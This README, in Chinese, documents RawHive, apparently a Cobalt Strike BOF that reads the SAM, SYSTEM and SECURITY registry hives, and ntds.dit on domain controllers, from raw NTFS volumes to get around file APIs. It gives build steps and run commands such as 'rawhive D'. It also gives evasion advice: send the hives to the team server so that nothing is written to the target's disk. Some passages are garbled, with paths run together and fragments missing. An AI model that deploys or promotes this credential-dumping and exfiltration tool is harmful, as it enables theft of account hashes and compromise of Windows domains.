RawHive 是一个 Cobalt Strike BOF,用于直接从原始 NTFS 卷中提取选定的 Windows 注册表配置单元。它绕过常规文件 API,遍历 NTFS 元数据以定位目标文件记录,并直接从磁盘读取字节。
目标:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit(仅限域控制器)任何本地 NTFS 驱动器盘符均可使用;默认为 C:。
\\.\C:)并读取引导扇区以定位 $MFT。Windows、System32、config 及目标文件的目录索引,并以有界 MFT 扫描作为回退方案。x86_64-w64-mingw32-gcc 和 make。make
构建生成 dist/rawhive.x64.o。rawhive.cna 从 dist/ 加载该对象,因此修改 rawhive.c 后需重新构建。
下载模式为默认模式:配置单元直接从原始卷读取,并通过 BeaconDownload API 推送到团队服务器。不会触碰目标磁盘。
rawhive # 将 C: 配置单元下载到团队服务器
rawhive D # 将 D: 配置单元下载到团队服务器
磁盘写入模式将 .tmp 文件保存到目标上的某个目录。注意这会触碰磁盘,可能不符合操作安全要求;除非确实需要将文件落地到本地,否则建议使用下载模式。
rawhive C:\Windows\Temp # 将 C: 配置单元写入磁盘
rawhive C:\Windows\Temp D # 将 D: 配置单元写入 C:\Windows\Temp
卷可写为 C、c 或 C:。输出目录必须已存在。
文件命名为 <host>_<timestamp>_<hive>.tmp:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # 仅限域控制器
在下载模式下,它们会出现在 Cobalt Strike 的下载托盘中;在磁盘写入模式下,它们会落在指定的输出目录中。
